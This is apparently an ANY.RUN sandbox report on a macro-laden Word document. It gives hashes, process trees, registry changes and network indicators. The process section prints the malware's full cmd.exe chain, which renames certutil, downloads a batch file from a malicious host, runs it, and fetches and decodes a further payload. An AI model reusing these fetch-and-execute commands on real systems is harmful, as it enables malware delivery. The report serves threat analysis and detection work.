File name:

20190513-8.doc

Full analysis: https://app.any.run/tasks/083be263-8e12-463a-b314-d9b96510682c
Verdict: Malicious activity
Analysis date: May 15, 2019, 13:51:16
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
macros
macros-on-open
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 949, Author: BlueSky, Template: Normal.dotm, Last Saved By: BlueSky, Revision Number: 67, Name of Creating Application: Microsoft Office Word, Total Editing Time: 58:00, Create Time/Date: Tue Apr 23 12:25:00 2019, Last Saved Time/Date: Tue May 14 14:28:00 2019, Number of Pages: 3, Number of Words: 259, Number of Characters: 1482, Security: 0
MD5:

9768B1208506E7F026625BE173CDB2EE

SHA1:

D8840123C36A026200FFC59D3A912F77EE08C7A5

SHA256:

32DADE4C9D07487883A5EED07BE98D4B2A954536B9D9155A6D367EC1EFDEFE90

SSDEEP:

384:lTTtibVkKvXopxliS/75Esv5c/t0N9XlssNctJPCxYIh3QLQtWdS0jKXl:dTtGkKApbF5I0qs2IpQIhXl

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2268)

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 2268)

    • Application was dropped or rewritten from another process

      • ct.exe (PID: 856)
      • ct.exe (PID: 2328)
      • ct.exe (PID: 1800)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • cmd.exe (PID: 2224)

    • Reads the machine GUID from the registry

      • ct.exe (PID: 856)
      • ct.exe (PID: 2328)

    • Reads Internet Cache Settings

      • ct.exe (PID: 856)
      • ct.exe (PID: 2328)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2268)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2268)

    • Reads the machine GUID from the registry

      • WINWORD.EXE (PID: 2268)

    • Dropped object may contain Bitcoin addresses

      • ct.exe (PID: 2328)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: BlueSky
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: BlueSky
RevisionNumber: 67
Software: Microsoft Office Word
TotalEditTime: 58.0 minutes
CreateDate: 2019:04:23 11:25:00
ModifyDate: 2019:05:14 13:28:00
Pages: 3
Words: 259
Characters: 1482
Security: None
CodePage: Windows Korean (Unified Hangul Code)
Company: -
Lines: 12
Paragraphs: 3
CharCountWithSpaces: 1738
AppVersion: 15
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • ????
  • 1
CompObjUserTypeLen: 28
CompObjUserType: Microsoft Word 97-2003 ????
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
5
Malicious processes
1
Suspicious processes
2

Behavior graph

Click at the process to see the details
start drop and start drop and start drop and start winword.exe no specs cmd.exe ct.exe ct.exe ct.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
856ct -urlcache -split -f http://tgbabcrfv.1apps.com/1.txt C:\Users\admin\AppData\Local\Temp\ct.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
CertUtil.exe
Exit code:
0
Version:
6.1.7601.18151 (win7sp1_gdr.130512-1533)
Modules
Images
c:\users\admin\appdata\local\temp\ct.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\certcli.dll
c:\windows\system32\atl.dll
1800ct -decode -f 3.txt setup.cab C:\Users\admin\AppData\Local\Temp\ct.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
CertUtil.exe
Exit code:
2147942402
Version:
6.1.7601.18151 (win7sp1_gdr.130512-1533)
Modules
Images
c:\users\admin\appdata\local\temp\ct.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\certcli.dll
c:\windows\system32\atl.dll
2224C:\Windows\system32\cmd.exe /q /c copy /Y %windir%\System32\certutil.exe %TEMP%\ct.exe && cd /d %TEMP% && ct -urlcache -split -f http://tgbabcrfv.1apps.com/1.txt && cd /d %TEMP% && ren 1.txt 1.bat && del /f /q 1.txt && 1.batC:\Windows\system32\cmd.exe
WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2268"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\20190513-8.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.5123.5000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251\msvcr90.dll
c:\windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_a4d981ff711297b6\comctl32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
2328ct -urlcache -split -f "http://tgbabcrfv.1apps.com/3.txt" C:\Users\admin\AppData\Local\Temp\ct.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
CertUtil.exe
Exit code:
2147954429
Version:
6.1.7601.18151 (win7sp1_gdr.130512-1533)
Modules
Images
c:\users\admin\appdata\local\temp\ct.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\certcli.dll
c:\windows\system32\atl.dll
Total events
1 370
Read events
990
Write events
368
Delete events
12

Modification events

(PID) Process:(2268) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:od>
Value:
6F643E00DC080000010000000000000000000000
(PID) Process:(2268) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2268) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2268) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1320091690
(PID) Process:(2268) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1320091774
(PID) Process:(2268) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1320091775
(PID) Process:(2268) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
DC080000904E724D250BD50100000000
(PID) Process:(2268) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:jj>
Value:
6A6A3E00DC08000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2268) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:jj>
Value:
6A6A3E00DC08000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2268) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
Executable files
1
Suspicious files
2
Text files
7
Unknown types
3

Dropped files

PID
Process
Filename
Type
2268WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR38C0.tmp.cvr —
MD5:—
SHA256:—
2268WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF47A581AE7B16A9CE.TMP —
MD5:—
SHA256:—
2268WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFC0EC06A4AA7FB0A6.TMP —
MD5:—
SHA256:—
2268WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF3281A300637CFAFF.TMP —
MD5:—
SHA256:—
2268WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{35B3D2A5-50B6-44F4-8230-4CA743505E04}.tmp —
MD5:—
SHA256:—
2268WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{69CE160E-14E2-42E0-BBF3-59DFF0374C11}.tmp —
MD5:—
SHA256:—
2268WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\20190513-8.LNKlnk
MD5:—
SHA256:—
2268WINWORD.EXEC:\Users\admin\Desktop\~$190513-8.docpgc
MD5:—
SHA256:—
856ct.exeC:\Users\admin\AppData\Local\Temp\1.txttext
MD5:—
SHA256:—
2268WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
4
DNS requests
2
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
856
ct.exe
GET
200
88.99.13.69:80
http://tgbabcrfv.1apps.com/1.txt
DE
text
340 b
malicious
2328
ct.exe
GET
200
88.99.13.69:80
http://tgbabcrfv.1apps.com/3.txt
DE
text
1.08 Mb
malicious
856
ct.exe
GET
200
88.99.13.69:80
http://tgbabcrfv.1apps.com/1.txt
DE
text
340 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
856
ct.exe
88.99.13.69:80
tgbabcrfv.1apps.com
Hetzner Online GmbH
DE
malicious
2328
ct.exe
88.99.13.69:80
tgbabcrfv.1apps.com
Hetzner Online GmbH
DE
malicious

DNS requests

Domain
IP
Reputation
tgbabcrfv.1apps.com
  • 88.99.13.69
malicious
dns.msftncsi.com
  • 131.107.255.255
shared

Threats

PID
Process
Class
Message
856
ct.exe
Misc activity
SUSPICIOUS [PTsecurity] Observed MS Certutil User-Agent in HTTP Request
2328
ct.exe
Misc activity
ET INFO Certificate with Unknown Content M1
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
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Reports
20190513-8.doc